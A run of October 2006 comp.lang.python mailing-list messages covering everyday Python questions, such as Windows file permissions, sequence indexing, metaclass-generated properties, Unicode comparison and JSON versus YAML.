times. --Ike Taylor From mike.klaas at gmail.com Wed Oct 25 15:35:25 2006 From: mike.klaas at gmail.com (Klaas) Date: 25 Oct 2006 12:35:25 -0700 Subject: ZODB for inverted index? In-Reply-To: <1161625143.942199.327550@i3g2000cwc.googlegroups.com> References: <1161625143.942199.327550@i3g2000cwc.googlegroups.com> Message-ID: <1161804925.457325.75950@i3g2000cwc.googlegroups.com> vd12005 at yahoo.fr wrote: > Hello, Hi. I'm not familiar with ZODB, but you might consider berkeleydb, which behaves like a disk-backed + memcache dictionary. -Mike From mensanator at aol.com Wed Oct 11 11:05:00 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 11 Oct 2006 08:05:00 -0700 Subject: OT: Sarcasm and irony In-Reply-To: <12iq1dkhbudd9d7@corp.supernews.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> <12iosfh75stcf0e@corp.supernews.com> <1160544879.915425.250200@m7g2000cwm.googlegroups.com> <12iq1dkhbudd9d7@corp.supernews.com> Message-ID: <1160579100.680703.165390@h48g2000cwc.googlegroups.com> Grant Edwards wrote: > On 2006-10-11, mensanator at aol.com wrote: > > >> Like Alanis Morisette said about the song "Isn't it Ironic": > >> What's ironic about the song is that it doesn't actually > >> contain any irony. > > > > Any? Don't people plan June weddings thinking the weather > > will be nice? And isn't one of the defintions of irony when > > things turn out the opposite of what you expect? > > Not really, no. American Heritage Dictionary: irony: 4. Incongruity between what might be expected to happen and what actually occurs. > > -- > Grant Edwards grante Yow! - if it GLISTENS, > at gobble it!! > visi.com From ocollioud at gmail.com Mon Oct 2 03:27:34 2006 From: ocollioud at gmail.com (olive) Date: 2 Oct 2006 00:27:34 -0700 Subject: Python/UNO/OpenOffice? In-Reply-To: References: Message-ID: <1159774054.759748.293390@h48g2000cwc.googlegroups.com> For me the problem is that OO2.0 is compiled against P2.3. Is there any OO compiled with P2.4x for Windows somewhere ? Sybren Stuvel wrote: > Aside from what has already been said, it might be nice for you to > read my article about OOo and Python at > http://www.stuvel.eu/ooo-python ;-) From ismael.pernas.c at gmail.es Mon Oct 23 11:46:49 2006 From: ismael.pernas.c at gmail.es (ismael) Date: Mon, 23 Oct 2006 17:46:49 +0200 Subject: File and directory permissions in windows References: Message-ID: No feel guilty because all of us have a lot of things to do and usualy we dont have time to do it. My objective is check if some directories exist and if the user that execute the perl script has access to some files and directories. If one of this checkpoints failed the execution will be aborted. If all of then finish ok the execution will continue. It's simply this. Those scripts will be executed on windows and linux. I start to look python because the MS-DOS utilities were so basic and when i try to do the same with python i found the same problem with the permissions :P Then i try Perl and what happens? the same problem... Thanks for all. Best regards. Tim Golden wrote: > [ismael] > > | I have some problems to get the the permissions on windows. I > | use a simple code that run perfectly in UNIX but give me wrong > | information on Windows. I found this code searching by google: > > [... snip ...] > > | is there a solution for this?, another library or code? > | Anything that i do wrong? > > Well, I'm certainly feeling guilty, because I've had a > note on my TODO list since the last time this came up > a month or so ago. > > In short, Windows doesn't really map the read/write/exec > Posix model especially logically. AFAICT, the MS CRT code > doesn't take account of NT permissions or things like PATHEXT > at all -- which would give you non-readable or executable. > The traditional DOS model only supports read-only > (and hidden/system/archived which don't apply here) so > there's no way, eg, for any combination of flags to indicate > can't-read-at-all. > > In short, *I* need to provide that doc patch I got halfway > through, and *you* need to find a way around whatever you're > trying to do on Windows. Depending on what you're after, you > might end up with some sort of try-except framework, or using > the win32security module from the pywin32 extensions. > > Feel free to post again indicating what you're trying to do > with the stat information. > > TJG > > ________________________________________________________________________ > This e-mail has been scanned for all viruses by Star. The > service is powered by MessageLabs. For more information on a proactive > anti-virus service working around the clock, around the globe, visit: > http://www.star.net.uk > ________________________________________________________________________ From johnjsal at NOSPAMgmail.com Thu Oct 19 11:56:31 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 19 Oct 2006 15:56:31 GMT Subject: wxPython help wxSashWindow In-Reply-To: <1161268929.535719.288640@m73g2000cwd.googlegroups.com> References: <1161266243.991025.174530@m7g2000cwm.googlegroups.com> <30MZg.115$1n3.3329@news.tufts.edu> <1161268929.535719.288640@m73g2000cwd.googlegroups.com> Message-ID: MatthewWarren wrote: > Thanks, is that a newsgroup I can view through google groups? I tried > seraching for it but google says no.. I'm not sure, but I don't think so. The way I have to do it is use Thunderbird (or equivalent) and subscribe first to the "Gmane" account, then to the specific newsgroup. You also have to send posts to the mailing list address, not to the newsgroup name itself (these seem to get sent, but never appear), so it's kind of funky. From gagsl-py at yahoo.com.ar Sat Oct 7 04:27:16 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Sat, 07 Oct 2006 05:27:16 -0300 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160198110.064741.133700@k70g2000cwa.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061007042753.04273ab8@yahoo.com.ar> At Saturday 7/10/2006 02:15, MonkeeSage wrote: >On Oct 6, 8:23 pm, Gabriel Genellina wrote: > > if 2 in [1,2,3]: print "Use the same (in) operator" > > elif 'E' in ('E','r','i','k'): print "Works for any sequence" > > elif 'o' in 'hello': print "Even strings" > >This isn't really analogous is it? For "somedict.has_key(k)" or "k in >somedict", you don't need to know the value of somedict[k] ahead of >time. So you can avoid KeyError by asking if the key exists first >before trying to get the value. The meaning comes from the most common usage. For a list, you want to know if an object is contained in the list (not if an index is in range!). For a dictionary, you usually want to know if it maps anything to a given key (not if any key maps to that value!). These are the most common operations, and that's why they have the simple sintax "a in b". [BTW, usage of operator "in" as "key in dict" is rather new to Python; has_key() were the only way to test for key existence some time ago]. >Wouldn't that be more like this for >lists (and other sequences): > >def has_index(seq, index): > try: > seq[index] > return True > except IndexError: > return False > >I've often wondered why there is no built-in method like that for >sequence objects. Because it's not needed at all: valid sequence indexes are *exactly* range(len(seq)). This is the basic point of being a sequence: when indexes are not contiguous, in fact you have a mapping, not a sequence. >And also why not the equivalent of dict.get for other >sequences: > >def get(seq, index, default=None): > if has_index(seq, index): > return seq[index] > else: > return default > >Seems useful... Sometimes, maybe... But since you can write it efficientely in a few lines when needed, I don't see the need to put it into the core language. -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From apardon at forel.vub.ac.be Sat Oct 28 09:40:50 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 28 Oct 2006 13:40:50 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-28, Steven D'Aprano wrote: > On Fri, 27 Oct 2006 18:22:28 +0000, Antoon Pardon wrote: > >>>> And how do I express that a number has to be greater than >>>> 100 into a Nothing vs Something dichotomy? Declare all >>>> greater numbers as Something and the rest as Nothing? >>> >>> Well, would you declare numbers less than 100 False? >> >> No but the condition: x > 100, will map all numbers to >> either True or False. Can you provide a condition that will >> provide a mapping to Nothing and Something? Without >> artificially mapping False to Nothing and True to Something? > > A > B maps to max(0, A-B) > > or more verbosely, "Remove B items from A items, stopping when there are > no more items to remove. What is left over? Something or Nothing?" This mapping no longer works if you are not working with numbers. >>> A = [1,2] >>> B = [3] >>> A > B False >>> max(0, A - B) Traceback (most recent call last): File "", line 1, in ? TypeError: unsupported operand type(s) for -: 'list' and 'list' -- Antoon Pardon From hanumizzle at gmail.com Fri Oct 6 02:50:36 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 02:50:36 -0400 Subject: help on pickle tool In-Reply-To: <1160117030.646441.237070@i42g2000cwa.googlegroups.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160114085.944898.224340@k70g2000cwa.googlegroups.com> <1160115558.554509.292870@c28g2000cwb.googlegroups.com> <1160117030.646441.237070@i42g2000cwa.googlegroups.com> Message-ID: <463ff4860610052350i4b250e07n56b8398644238864@mail.gmail.com> On 5 Oct 2006 23:43:50 -0700, MonkeeSage wrote: > > > On Oct 6, 1:28 am, Fredrik Lundh wrote: > > when did you last look at the spec? > > I'm fairly versed in JS objects, having written 10 or so extensions for > firefox; but I've only used YAML for trivial tasks like config files. > So I can't really say how they stack up in "the big picture". But from > what I have seen, JSON is a simpler and easier to use format than YAML. That and it sounds like Strongbad pronouncing the name 'Jason'. -- Theerasak From duncan.booth at invalid.invalid Tue Oct 31 14:04:44 2006 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 31 Oct 2006 19:04:44 GMT Subject: Why can't you assign to a list in a loop without enumerate? References: <1162320362.257426.121370@e3g2000cwe.googlegroups.com> Message-ID: "Danny Colligan" wrote: > In the following code snippet, I attempt to assign 10 to every index in > the list a and fail because when I try to assign number to 10, number > is a deep copy of the ith index (is this statement correct?). No. There is no copying involved. Before the assignment, number is a reference to the object to which the ith element of the list also refers. After the assignment you have rebound the variable 'number' so it refers to the value 10. You won't affect the list that way. > My question is, what was the motivation for returning a deep copy of > the value at the ith index inside a for loop instead of the value > itself? There is no copying going on. It returns the value itself, or at least a reference to it. > Also, is there any way to assign to a list in a for loop (with > as little code as used above) without using enumerate? a[:] = [10]*len(a) or more usually something like: a = [ fn(v) for v in a ] for some suitable expression involving the value. N.B. This last form leaves the original list unchanged: if you really need to mutate it in place assign to a[:] as in the first example, but if you are changing all elements in the list then you usually want a new list. From steve at holdenweb.com Fri Oct 27 07:55:48 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 27 Oct 2006 12:55:48 +0100 Subject: question about True values In-Reply-To: References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> Message-ID: Antoon Pardon wrote: > On 2006-10-27, Fredrik Lundh wrote: > >>Antoon Pardon wrote: >> >> >>>>since you never publish any code, >>> >>>This is not True. You shouldn't confuse your lack of recollection >>>with reality. >> >>pointers, please. > > > Sorry, the answer is no. I don't care whether you can locate my code > or not or wish to believe me or not. > ... though I might have got more hits by spelling your name correctly :) regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From gagsl-py at yahoo.com.ar Thu Oct 19 21:49:48 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 19 Oct 2006 22:49:48 -0300 Subject: Restricting import file lookup for pyd, dll, ... In-Reply-To: <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.co m> References: <61d0e2b40610191438w9ba0693y8896bebc3441069a@mail.gmail.com> <7.0.1.0.0.20061019184812.05aafe78@yahoo.com.ar> <61d0e2b40610191838m52cffdf1qd2168f6462728660@mail.gmail.com> Message-ID: <7.0.1.0.0.20061019224508.04d95958@yahoo.com.ar> At Thursday 19/10/2006 22:38, Bernard Lebel wrote: >That's because I'm using Python through another application, via the >pywin32 extensions. When that other application starts, it performs >several thousands of file requests (we're talking 4,500, roughly) in >the Python installation, locations where there are Python files, and >in some other locations that don't make sense. This adds considerable >time to the startup time of the application, we're talking between 2 >and 9 seconds. > >This a problem with the application, not Python. But I'm looking for >ways to minimize this overhead so the users of this application waste >less time waiting after the startup. Try to shorten the PYTHONPATH to the really required directories (deleting those locations "that don't make sense"). -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From http Wed Oct 4 05:12:16 2006 From: http (Paul Rubin) Date: 04 Oct 2006 02:12:16 -0700 Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> Message-ID: <7xwt7gqwb3.fsf@ruckus.brouhaha.com> "LaundroMat" writes: > def f(var=1): > return var*2 > > What value do I have to pass to f() if I want it to evaluate var to 1? > I know that f() will return 2, but what if I absolutely want to pass a > value to f()? "None" doesn't seem to work.. I don't understand your question. You can call f(var=1) just fine. From mithrond at gmail.com Sat Oct 14 10:07:11 2006 From: mithrond at gmail.com (mithrond at gmail.com) Date: 14 Oct 2006 07:07:11 -0700 Subject: a odd thing of "from __future__ import ..." Message-ID: <1160834831.366050.277760@i3g2000cwc.googlegroups.com> i can't use "from __future__ import ..." statement import two statesments in the same time. for the simple code: from __future__ import with_statement, division with file('url.txt','r') as f: for line in f: print line it can't run until i change the first sentence to below from __future__ import with_statement from __future__ import division why? python2.5/windows. From pavlovevidence at gmail.com Wed Oct 18 17:00:17 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 18 Oct 2006 14:00:17 -0700 Subject: creating many similar properties References: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> <1161158181.103138.294330@b28g2000cwb.googlegroups.com> <1161160057.392965.323330@m73g2000cwd.googlegroups.com> <1161160436.888246.21020@m73g2000cwd.googlegroups.com> <1161161181.169918.126210@b28g2000cwb.googlegroups.com> <1161163087.751082.225880@b28g2000cwb.googlegroups.com> Message-ID: <1161205217.207005.22720@i42g2000cwa.googlegroups.com> Michele Simionato wrote: > Carl Banks wrote: > > Come on, I don't think anyone's under the impression we're being > > indiscriminate here. > > Ok, but I don't think that in the case at hand we should recommend a > metaclass > solution. You sound as if you're avoiding metaclasses just for the sake of avoiding them, which is just as bad as using them for the sake of using them. Here's how I see it: either it's ok to fiddle with the class dict, or it isn't. If it's ok, then a metaclass is the way to do it. If it's not ok to fiddle with the class dict, then he should be using __setattr__, or creating properties longhand. Messing with frames is not the answer for production code. ... Just for the hell of it, I decided to accept your challenge to run the standard library with a different metaclass applied to all new-style classes. I ran the 2.4.3 regression test, replacing the builtin object with a class that used the mod256metaclass I presented in this thread. The results: 229 tests OK. 34 tests failed: test___all__ test_asynchat test_cgi test_cookielib test_copy test_copy_reg test_cpickle test_decimal test_descr test_descrtut test_email test_email_codecs test_httplib test_imaplib test_inspect test_logging test_mailbox test_mimetools test_mimetypes test_minidom test_pickle test_pyclbr test_robotparser test_sax test_sets test_socket test_socket_ssl test_sundry test_timeout test_urllib test_urllib2 test_urllib2net test_urllibnet test_xpickle Not A-OK, but not exactly mass-pandemonium either. There were plenty of modules used the the new base object and worked fine. There were only two causes for failure: 1. A class attempting to use __weakref__ slot. 2. There were also a few metaclass conflicts. IMO, neither of these failure modes argues against using a metaclass to preprocess the class dict. The __weakref__ error is not applicable; since it's an error to use it on any class with an instance dict. (In fact, the metaclass wasn't even causing the error: the same error would have occurred if I had replaced builtin object with an empty subclass of itself, without the metaclass.) The metaclass conflict would only occur in the present case only if someone wanted to subclass it AND specify a different metaclass. Arguing that metaclasses should be avoided just to guard against this rare possibility is defensive to the extreme. I did not uncover any kinds of subtle, unexpected behavior that can occur when metaclasses do weird things. I know such things are possible; how likely they are is another question. The tests I ran didn't uncover any. So for now, the results of these tests don't seem to support your point very well. Carl Appendix: Here's how I ran the test. I inserted the following code at the top of Lib/test/regrtest.py, and ran make test. I ran the tests on the Python 2.4.3 source tree, in Linux. ======================= import sys class mod256metatype(type): def __new__(metatype,name,bases,clsdict): print >> sys.__stdout__, \ "++++++++ Creating class %s of type mod256metatype" % name def makeprop(sym): prop = '_%s' % sym def _set(self,v): setattr(self,prop,v%256) def _get(self): return getattr(self,prop) return property(_get,_set) for sym in clsdict.get('__mod256__',()): clsdict[sym] = makeprop(sym) return super(metatype return type.__new__(metatype,name,bases,clsdict) class _object: __metaclass__ = mod256metatype import __builtin__ __builtin__.object = _object ======================= From fredrik at pythonware.com Sun Oct 1 05:46:22 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 01 Oct 2006 11:46:22 +0200 Subject: Escapeism In-Reply-To: <1159635727.840033.169540@m73g2000cwd.googlegroups.com> References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com> <1159635727.840033.169540@m73g2000cwd.googlegroups.com> Message-ID: Kay Schluehr wrote: > This yields the hexadecimal representation of the ASCII character and > does not simply echo the keystrokes '\' and 'a' for '\a' ignoring the > escape semantics. One way to achieve this naturally is by prefixing > '\a' with r where r'\a' indicates a "raw" string. But unfortunately > "rawrification" applies only to string literals and not to string > objects ( such as c ). I consider creating a table consisting of pairs > {'\0': r'\0','\1': r'\1',...} i.e. a handcrafted mapping but maybe > I've overlooked some simple function or trick that does the same for > me. if not else, you've missed that octal escapes consists of three digits, not one, so translating chr(1) to r"\1" doesn't work in the general case (e.g. len("\100") == 1, not 3) From bj_666 at gmx.net Fri Oct 20 04:45:05 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Fri, 20 Oct 2006 10:45:05 +0200 Subject: BeautifulSoup problem References: <1161330895.808308.292910@i42g2000cwa.googlegroups.com> Message-ID: In <1161330895.808308.292910 at i42g2000cwa.googlegroups.com>, placid wrote: > Hi all, > > Just wondering if anyone knows how to get the text between the tags of > the following Tag object? > > Hello Are you looking for a way to search for tag *and* attributes? What about this:: In [12]: soup.find('span', {'class': 'nametext'}).contents Out[12]: [u'Hello'] Ciao, Marc 'BlackJack' Rintsch From hg at nospam.com Thu Oct 19 13:03:13 2006 From: hg at nospam.com (hg) Date: Thu, 19 Oct 2006 12:03:13 -0500 Subject: Komodo In-Reply-To: <12jfbr23dnmmpfa@corp.supernews.com> References: <1161272868.051706.228320@h48g2000cwc.googlegroups.com> <12jfbr23dnmmpfa@corp.supernews.com> Message-ID: Mark Elston wrote: > * SpreadTooThin wrote (on 10/19/2006 8:47 AM): >> Why is it that (On MAC OS X) in Komodo 3.5 Professional, if I try to >> find something in my script, >> I am unable to change the text it is searching for? >> > > Perhaps Emacs might work better ... :) > > Mark Can you suggest tools (.el) to add to emacs for large projects management / browsing ? Thanks, hg From steve at REMOVE.THIS.cybersource.com.au Sun Oct 8 07:08:20 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sun, 08 Oct 2006 21:08:20 +1000 Subject: Implementing a circular counter using property / descriptors? References: Message-ID: On Sun, 08 Oct 2006 12:25:10 +0200, IloChab wrote: > I'd like to implement an object that represents a circular counter, i.e. > an integer that returns to zero when it goes over it's maxVal. [snip] > The python problem that I give you it's about style. > I'd like to write in my code something that looks almost like using an > integer object. > > I mean, I'd like to write: > > cnt = CircularConter(maxVal=100, initialVal=10) > cnt += 100 # cnt value is 9 > print cnt # prints 9 > 100 > cnt # is false All this is perfectly sensible. > cnt = 100 # cnt new value is 100 [NOT rebind cnt with 100] This is not possible. Names like cnt are just labels, they don't have behaviour. Objects have behaviour; but objects don't and can't know what name or names they are assigned to. [snip] > The fact is that I don't like to write cnt.set(100) or > cnt = CircularConter(100, 100) instead of cnt = 100. How do you expect the Python compiler to know you want a CircularConter instance if you just write 100? (By the way, in English, the correct spelling is counter, not conter.) > So I thought that property or descriptors could be useful. > I was even glad to write: > > cnt = CircularConterWithProperty(maxVal=100, initialVal=10) > cnt.val += 100 > print cnt.val > 100 > cnt.val # is false > cnt.val = 100 > > just to give uniformity to counter accessing syntax. > But I wasn't able to implement nothing working with my __cmp__ method. __cmp__ is for CoMParisons, not binding names to objects. -- Steven. From ebgssth at gmail.com Thu Oct 12 05:35:58 2006 From: ebgssth at gmail.com (js ) Date: Thu, 12 Oct 2006 18:35:58 +0900 Subject: python's newbie question In-Reply-To: <1160644525.605518.55840@e3g2000cwe.googlegroups.com> References: <1160644525.605518.55840@e3g2000cwe.googlegroups.com> Message-ID: http://mail.python.org/pipermail/python-list/2004-May/221591.html HTH From zzf818 at gmail.com Thu Oct 19 07:34:24 2006 From: zzf818 at gmail.com (kelin,zzf818@gmail.com) Date: 19 Oct 2006 04:34:24 -0700 Subject: How to use python in TestMaker In-Reply-To: <1161230033.664197.305060@b28g2000cwb.googlegroups.com> References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com> <1161230033.664197.305060@b28g2000cwb.googlegroups.com> Message-ID: <1161257664.640448.208970@k70g2000cwa.googlegroups.com> Paddy wrote: > kelin,zzf818 at gmail.com wrote: > > Hello, > > > > Now I 'm learning python to do testing jobs, and want to use it in > > TestMaker. > > The problem is: I don't know how to use python in TestMaker. > > Just write python program in it or call .py files in it? > > I am really new about it and need some help. > > > > Thanks a lot! > What/where is TestMaker? Well, TestMaker is a tool to do testing jobs. You can visit the following website for some info: http://www.pushtotest.com/. From apoelstra at false.site Fri Oct 13 11:16:03 2006 From: apoelstra at false.site (Andrew Poelstra) Date: Fri, 13 Oct 2006 15:16:03 GMT Subject: Starting out. In-Reply-To: <1160749619.514641.11870@k70g2000cwa.googlegroups.com> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160715256.698199.64540@h48g2000cwc.googlegroups.com> <1160749619.514641.11870@k70g2000cwa.googlegroups.com> Message-ID: <1160752561.4515.1.camel@dsktp> On Fri, 2006-10-13 at 07:26 -0700, Ahmer wrote: > From what I can see Python and PHP have VERY simillar syntax (sorry if > I offended anyone but I am a "n00b".) Two things: 1) Don't toppost. Your response should go after or interspersed with your quote, not above it. 2) You may be thinking of Perl, which has a very similar syntax to PHP. In all the languages I've seen, Python is in a class of its own. -- Andrew Poelstra From chris.cavalaria at free.fr Tue Oct 10 10:47:44 2006 From: chris.cavalaria at free.fr (Christophe) Date: Tue, 10 Oct 2006 16:47:44 +0200 Subject: Dive Into Java? In-Reply-To: <4p1ocsFge1f1U1@uni-berlin.de> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de> <4ovcbvFgc2nlU1@individual.net> <4p1jm5Fgpgl7U1@uni-berlin.de> <452b9ec5$0$30991$426a74cc@news.free.fr> <4p1ocsFge1f1U1@uni-berlin.de> Message-ID: <452bb2a0$0$31353$426a74cc@news.free.fr> Diez B. Roggisch a ?crit : > Christophe wrote: > >> Diez B. Roggisch a ?crit : >>> The code _generated_ by the java compiler, and the C++ compiler, is not >>> the issue here. If you as a programmer can write "a" + "b", its fine. >>> Which is a thing to reach in C++, a bazillion of string-classes have been >>> written.... >>> >>> >>> and in C++, you can do: >>> >>> char *a = "1"; >>> char *b = "2"; >>> char *c = a + b; >>> >>> But with a totally different, unexpected outcome.. I know where *I* start >>> laughing here. >> That code doesn't even compile. And you shouldn't be using the char* >> compatibility strings in C++ if possible. > > It was out of my head. I remember producing some wicked pointer arithmetic > example of similar ridicule. > > And the whole argument is about java having a lot of design decisions that > make it easier to work with is actually strengthened when you say that "you > shouldn't use the char* ..." - because its not forbidden, and maybe someone > else didn't follow that suggestion. I remember quite a few times calling > the stl-string-to-char-function (no idea how that is called now) Well, char* really is a compatibility feature in my mind. And it IS useful. How else would you interface C++ with existing C code and libraries :) That was the most probable reason you were using the STL to char* function. Same for the const_cast. You shouldn't use it, but sometimes, you have to interface with a C api that takes a non const char* as paramter, despite the fact that it won't modify it in any way. From brenNOSPAMbarn at NObrenSPAMbarn.net Thu Oct 12 12:12:34 2006 From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke)) Date: Thu, 12 Oct 2006 16:12:34 GMT Subject: operator overloading + - / * = etc... References: <452a6a61$0$22844$426a74cc@news.free.fr> Message-ID: Terry Reedy wrote: > Implementing a namespace as a Python object (ie, dict) is > completely optional and implementation dependent. For CPython, the > local namespace of a function is generally *not* done that way. Sure, but this is all just theoretical talk anyway, right? I would like to see more control over the name-binding operation, and exposing the namespace as an object sounds like an interesting way to do this. -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From antroy at gmail.com Sun Oct 8 15:53:23 2006 From: antroy at gmail.com (Ant) Date: 8 Oct 2006 12:53:23 -0700 Subject: recommendations for personal journaling application In-Reply-To: <1160330083.041100.127480@e3g2000cwe.googlegroups.com> References: <1160330083.041100.127480@e3g2000cwe.googlegroups.com> Message-ID: <1160337203.660986.52630@c28g2000cwb.googlegroups.com> Donnie Rhodes wrote: ... > > Thank you all and I hope I'm not biting off too much at once... Not if you break it up into pieces. Look at the things you want to do, and in the first instance, create a function for each. Then you can start to fill in the blanks, and if neccessary ask back here for advice on each bit. For example, your skeleton script may look something like: def main(): options = get_options() text = fetch_body() entry_data = parse_text(text, options) store_entry(entry_data) def get_options(): pass def fetch_body() pass ... if __name__ == "__main__": main() Ideas for the various parts: get_options() - getopt or optparse modules (the former is simpler to start with); fetch_body() - just read from sys.stdin (that way you can also pipe text into it from a file or the output from another program as well); parse_text() - regexes could suffice if the flags and what they are supposed to do is simple, otherwise a grammar parsing module could be useful such as pyparsing (http://pyparsing.wikispaces.com/); store_entry() - I'd probably go with XML for the storage format if you really want to store the entries in a single text file, as you can structure it well, there are good tools in python 2.5 for building xml (xml.etree.ElementTree) and you could implement a fast search engine using SAX. Otherwise a database may be a better option (e.g. sqlite). From robert.kern at gmail.com Mon Oct 2 14:49:07 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 02 Oct 2006 13:49:07 -0500 Subject: zeta function for complex argument In-Reply-To: <1159814082.483521.273730@m7g2000cwm.googlegroups.com> References: <1159812557.819161.126440@m7g2000cwm.googlegroups.com> <1159814082.483521.273730@m7g2000cwm.googlegroups.com> Message-ID: bearophileHUGS at lycos.com wrote: > Alec.Edgington at blueyonder.co.uk wrote: >> Quick question: I'm wondering if there is, Somewhere Out There, a >> Python implementation of the Riemann zeta function for complex >> argument...? > > It seems that Scipy contaisn zeta too: > http://www.rexx.com/~dkuhlman/scipy_course_01.html#special But not for a complex argument. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From steve at holdenweb.com Sat Oct 21 18:12:07 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 21 Oct 2006 23:12:07 +0100 Subject: silent processing with python+modpython+cheetah In-Reply-To: <6559fb300610211025w202304c2hc2fabe26266e9f79@mail.gmail.com> References: <6559fb300610211025w202304c2hc2fabe26266e9f79@mail.gmail.com> Message-ID: Sai Krishna M wrote: > Hi, > > I have been working for some time developing web pages using python, > modpython, cheetah. > I find that this method has come inherent difficulties in it like if > we want to generate a single page we have to write two separate files > ( py & tmpl). > Is there any other better way of doing things.? > > Also if we want to have partial processing of the pages, i.e, the > value one chooses for a particular field determines the value to be > entered for another field in the same page, how can it be done? > > Thanks, > Sai krishna. http://wiki.python.org/moin/WebFrameworks regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From luc.saffre at gmail.com Mon Oct 16 09:26:07 2006 From: luc.saffre at gmail.com (luc.saffre at gmail.com) Date: 16 Oct 2006 06:26:07 -0700 Subject: comparing Unicode and string Message-ID: <1161005167.295259.290800@m7g2000cwm.googlegroups.com> Hello, here is something that surprises me. #coding: iso-8859-1 s1=u"Frau M?ller machte gro?e Augen" s2="Frau M?ller machte gro?e Augen" if s1 == s2: pass Running this code produces a UnicodeDecodeError: Traceback (most recent call last): File "tmp.py", line 4, in ? if s1 == s2: UnicodeDecodeError: 'ascii' codec can't decode byte 0xfc in position 6: ordinal not in range(128) I would have expected that "s1 == s2" gives True... or maybe False... but raising an error here is unnecessary. I guess that the comparison operator decides to convert s2 to a Unicode but forgets that I said #coding: iso-8859-1 at the beginning of the file. TIA for any comments. Luc Saffre From jUrner at arcor.de Tue Oct 24 14:39:45 2006 From: jUrner at arcor.de (jUrner at arcor.de) Date: 24 Oct 2006 11:39:45 -0700 Subject: The format of filename In-Reply-To: References: Message-ID: <1161715184.960817.283840@e3g2000cwe.googlegroups.com> Tim Chase wrote: > > C:\temp> REM try the same filename convention from dos prompt > C:\temp> type subdir/test.txt > The syntax of the command is incorrect. > C:\temp> REM try with quotes, just in case... > C:\temp> type "subdir/test.txt" > The syntax of the command is incorrect. > C:\temp> notepad subdir/test.txt > C:\temp> REM correctly opened the text file in notepad > > Windows seems to doing the translation inconsistently (I know > that comes as a shock...) > Translation? win3.1 to win95 I guess. From duane.kaufman at gmail.com Mon Oct 9 12:47:53 2006 From: duane.kaufman at gmail.com (TheSeeker) Date: 9 Oct 2006 09:47:53 -0700 Subject: intercepting keypresses, mouse movements, joystick movements. In-Reply-To: References: Message-ID: <1160412473.376459.112060@m73g2000cwd.googlegroups.com> bryan rasmussen wrote: > Hi, > > I've been looking at autohotkey to do some different usability hacks > for windows http://www.autohotkey.com/ > one of the benefits of this language is it allows one to catch > keyboard usage, joystick usage, and 